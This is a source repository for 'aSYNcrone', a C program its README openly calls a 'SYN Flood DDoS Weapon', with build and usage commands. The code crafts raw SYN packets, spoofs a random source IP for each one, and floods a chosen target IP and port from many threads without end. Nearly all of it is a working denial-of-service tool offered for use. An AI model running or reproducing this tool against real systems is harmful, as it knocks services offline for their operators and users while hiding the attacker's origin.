├── README.md ├── aSYNcrone.c └── src ├── random-ip.c └── tanitim.c /README.md: -------------------------------------------------------------------------------- 1 | ### aSYNcrone | Multifunction SYN Flood DDoS Weapon 2 | 3 | ------------ 4 | ##### TRAILER 5 | 6 | [![aSYNcrone Trailer](https://i.hizliresim.com/zGzg2R.gif "aSYNcrone Trailer")](https://i.hizliresim.com/zGzg2R.gif "aSYNcrone Trailer") 7 | 8 | ------------ 9 | ##### aSYNcrone's POWER!!! 10 | 11 | [![aSYNcrone's POWER!!](https://i.hizliresim.com/bvojkY.gif "aSYNcrone Trailer")](https://i.hizliresim.com/bvojkY.gif "aSYNcrone Trailer") 12 | 13 | ------------ 14 | 15 | ##### USAGE 16 | `git clone https://github.com/fatihsnsy/aSYNcrone.git` 17 | 18 | `cd aSYNcrone` 19 | 20 | `gcc aSYNcrone.c -o aSYNcrone -lpthread -O2` 21 | 22 | `./aSYNcrone ` 23 | 24 | 25 | ------------ 26 | ##### What is aSYNcrone? 27 | aSYNcrone is a C language based, mulltifunction SYN Flood DDoS Weapon. Disable the destination system by sending a SYN packet intensively to the destination. 28 | 29 | ------------ 30 | ### Specifications 31 | - Internal random IP generator 32 | - Using threads and faster prepare and sending SYN packets 33 | - Different IP Identification number 34 | 35 | ###### NOTE: You can contribute to the development of the project 36 | 37 | -------------------------------------------------------------------------------- /aSYNcrone.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "src/tanitim.c" 15 | #include "src/random-ip.c" 16 | 17 | #define KRMZ "\x1B[31m" 18 | #define YSL "\x1B[32m" 19 | #define SR "\x1B[33m" 20 | #define MV "\x1B[34m" 21 | #define RESET "\x1B[0m" 22 | 23 | // Global variable definitions. 24 | unsigned long p_num = 0; 25 | pthread_mutex_t mut; 26 | time_t start_time; 27 | 28 | struct sozde_baslik{ 29 | unsigned int kaynak_adres; 30 | unsigned int hedef_adres; 31 | unsigned char placeholder; //rezerve 32 | unsigned char protokol; 33 | unsigned short tcp_uzunlugu; 34 | struct tcphdr tcp; 35 | }; 36 | 37 | // Newly created thread parameter structure 38 | struct thread_info{ 39 | int soket; 40 | char datagram[4096]; 41 | struct iphdr *iph; 42 | struct sockaddr_in sin; 43 | struct sozde_baslik psh; 44 | }; 45 | 46 | unsigned short csum(unsigned short *buf, int nbayt){ 47 | unsigned long toplam; 48 | unsigned short oddbyte; 49 | unsigned short cevap; 50 | 51 | toplam = 0; 52 | 53 | while(nbayt > 1){ 54 | toplam += *buf++; 55 | nbayt -= 2; 56 | } 57 | 58 | if(nbayt == 1){ 59 | oddbyte = 0; 60 | *((unsigned char *)&oddbyte) = *(unsigned char*)buf; 61 | toplam += oddbyte; 62 | } 63 | toplam = (toplam >> 16) + (toplam & 0xffff); 64 | toplam = toplam + (toplam >> 16); 65 | cevap = (short)~toplam; 66 | return(cevap); 67 | } 68 | 69 | void bilgi(){ 70 | time_t end_time; 71 | double time_diff; 72 | time(&end_time); 73 | time_diff = difftime(end_time, start_time); 74 | printf("\n\n----------------------------------------------------------"); 75 | printf("\n\nNumber of PACKETS: "YSL"%lu"RESET" \t Attack Time: "YSL"%.2f"RESET" second \n\n"RESET, p_num, time_diff); 76 | printf("----------------------------------------------------------\n\n"); 77 | pthread_mutex_destroy(&mut); 78 | exit(1); 79 | } 80 | 81 | void *attack(void *arg){ 82 | struct thread_info *attack_param = arg; 83 | signal(SIGINT, (void *)bilgi); 84 | while (1){ 85 | //Send packets 86 | if (sendto (attack_param->soket, // our socket 87 | attack_param->datagram, // datagram includes data and headers 88 | attack_param->iph->tot_len, // total size of datagram 89 | 0, // flag 90 | (struct sockaddr *) &(attack_param->sin), // socket address 91 | sizeof (attack_param->sin)) < 0) // normal send() 92 | { 93 | exit(1); 94 | } 95 | //If packet sending successful 96 | else 97 | { 98 | // Critical section for packet numbers 99 | pthread_mutex_lock(&mut); 100 | p_num++; 101 | if(p_num == 1) 102 | printf(YSL"[+]"MV" Attack has been started!\n"RESET); 103 | pthread_mutex_unlock(&mut); 104 | } 105 | // Random IP generate and assign 106 | char *str = random_ip(); 107 | attack_param->psh.kaynak_adres = htons(atoi(str)); 108 | attack_param->iph->saddr = inet_addr(str); 109 | attack_param->iph->id = htons(rand()); //Paketin ID'si 110 | free(str); 111 | } 112 | 113 | } 114 | 115 | int main(int argc, char *argv[]){ 116 | 117 | if(argc != 5){ 118 | printf(SR"[!]"RESET" Please enter the commands correctly\n"); 119 | printf(YSL"USAGE:"RESET" %s \n", argv[0]); 120 | exit(0); 121 | } 122 | 123 | tanitim(); 124 | 125 | struct thread_info th_param; 126 | //Create raw socket 127 | th_param.soket = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 128 | if(th_param.soket == -1){ 129 | printf (KRMZ"[-]"RESET" Create socket error! Error NO : %d . Error Message : %s \n" , errno , strerror(errno)); 130 | exit(0); 131 | } 132 | //Init datagram packet 133 | char source_ip[32]; 134 | 135 | //IP header 136 | th_param.iph = (struct iphdr *)(th_param.datagram); 137 | 138 | //TCP header 139 | struct tcphdr *tcph = (struct tcphdr *)(th_param.datagram + sizeof(struct ip)); 140 | 141 | th_param.sin.sin_family = AF_INET; 142 | th_param.sin.sin_port = htons(atoi(argv[1])); //Specify source port 143 | th_param.sin.sin_addr.s_addr = inet_addr(argv[2]); //Specify target IP 144 | 145 | memset(th_param.datagram, 0, 4096); // Fill the buffer of datagram with 0 146 | 147 | //Set IP headers 148 | th_param.iph->ihl = 5; 149 | th_param.iph->version = 4; 150 | th_param.iph->tos = 0; 151 | th_param.iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr); 152 | 153 | th_param.iph->id = htons(rand()); // Packet ID 154 | th_param.iph->frag_off = 0; 155 | th_param.iph->ttl = 255; // TTL = 255 156 | th_param.iph->protocol = IPPROTO_TCP; 157 | th_param.iph->check = 0; // Set this before configure checksum 158 | th_param.iph->daddr = th_param.sin.sin_addr.s_addr; // Assing target IP 159 | th_param.iph->check = csum ((unsigned short *) th_param.datagram, th_param.iph->tot_len >> 1); 160 | 161 | //TCP Header 162 | 163 | tcph->source = htons(atoi(argv[1])); 164 | tcph->dest = htons(atoi(argv[3])); 165 | tcph->seq = 0; 166 | tcph->ack_seq = 0; 167 | tcph->doff = 5; /* ilk ve tek tcp segmenti*/ 168 | tcph->fin=0; 169 | tcph->syn=1; 170 | tcph->rst=0; 171 | tcph->psh=0; 172 | tcph->ack=0; 173 | tcph->urg=0; 174 | tcph->window = htons (5840); /* max allowed window size */ 175 | tcph->check = 0;/* Eger checksumu 0 a ayarlarsak, kernelimiz iletim sırasında dogrusunu ayarlayacaktir */ 176 | tcph->urg_ptr = 0; 177 | 178 | th_param.psh.hedef_adres = th_param.sin.sin_addr.s_addr; 179 | th_param.psh.placeholder = 0; 180 | th_param.psh.protokol = IPPROTO_TCP; 181 | th_param.psh.tcp_uzunlugu = htons(20); 182 | 183 | memcpy(&(th_param.psh).tcp , tcph , sizeof (struct tcphdr)); 184 | 185 | tcph->check = csum( (unsigned short*) &(th_param.psh) , sizeof (struct sozde_baslik)); 186 | 187 | //IP_HDRINCL kernele headerin pakete include edildigini soyler 188 | int one = 1; 189 | const int *val = &one; 190 | if (setsockopt (th_param.soket, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) 191 | { 192 | printf (KRMZ"[-]"RESET" IP_HDRINCL error! Error NO : %d . Error Message : %s \n" , errno , strerror(errno)); 193 | exit(0); 194 | } 195 | else{ 196 | printf(YSL"[+] "RESET"IP_HDRINCL success!\n"); 197 | } 198 | int thread_number = atoi(argv[4]); 199 | pthread_t thread[thread_number]; 200 | pthread_mutex_init(&mut, NULL); // Init mutex 201 | time(&start_time); // Start timer 202 | for(int i = 0; i < thread_number; i++){ 203 | if(pthread_create(&thread[i], NULL, &attack, &th_param) != 0){ 204 | printf(KRMZ"[-]"RESET" Failed the create THREADS!\n"); 205 | exit(1); 206 | } 207 | else{ 208 | if(i == thread_number - 1) // if all thread has started 209 | while(1) 210 | sleep(1); // wait main thread. 211 | } 212 | } 213 | return 0; 214 | } 215 | -------------------------------------------------------------------------------- /src/random-ip.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char *random_ip() { 7 | 8 | struct timespec ts; 9 | clock_gettime(CLOCK_MONOTONIC, &ts); 10 | 11 | /* using nano-seconds instead of seconds */ 12 | srand((time_t) ts.tv_nsec); 13 | 14 | char *str = malloc(20 * sizeof(char)); // Longest possible IP address is 20 bytes) 15 | 16 | sprintf(str, "%d.%d.%d.%d", rand() % 0xff, rand() % 0xff, rand() % 0xff, rand() % 0xff); 17 | 18 | return str; 19 | } 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/tanitim.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void tanitim(){ 5 | const char *tanitim = "\n\n\n\n" 6 | " █████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗██████╗ ██████╗ ███╗ ██╗███████╗\n" 7 | "██╔══██╗██╔════╝╚██╗ ██╔╝████╗ ██║██╔════╝██╔══██╗██╔═══██╗████╗ ██║██╔════╝\n" 8 | "███████║███████╗ ╚████╔╝ ██╔██╗ ██║██║ ██████╔╝██║ ██║██╔██╗ ██║█████╗ \n" 9 | "██╔══██║╚════██║ ╚██╔╝ ██║╚██╗██║██║ ██╔══██╗██║ ██║██║╚██╗██║██╔══╝ \n" 10 | "██║ ██║███████║ ██║ ██║ ╚████║╚██████╗██║ ██║╚██████╔╝██║ ╚████║███████╗\n" 11 | "╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝\n\n"; 12 | puts(tanitim); 13 | sleep(2); 14 | 15 | const char *tanitim2 = "┌┐ ┬ ┬ ╦╔═┌─┐┬─┐┌─┐┌─┐┬ ┌┬┐┌─┐┌─┐ ╔═╗┬ ┬┌┐ ┌─┐┬─┐ ╔╦╗┌─┐┌─┐┌┬┐\n" 16 | "├┴┐└┬┘ ╠╩╗├─┤├┬┘├─┤├┤ │ │││├─┤└─┐ ║ └┬┘├┴┐├┤ ├┬┘ ║ ├┤ ├─┤│││\n" 17 | "└─┘ ┴ ╩ ╩┴ ┴┴└─┴ ┴└─┘┴─┘┴ ┴┴ ┴└─┘ ╚═╝ ┴ └─┘└─┘┴└─ ╩ └─┘┴ ┴┴ ┴\n\n\n"; 18 | puts(tanitim2); 19 | sleep(2); 20 | } 21 | --------------------------------------------------------------------------------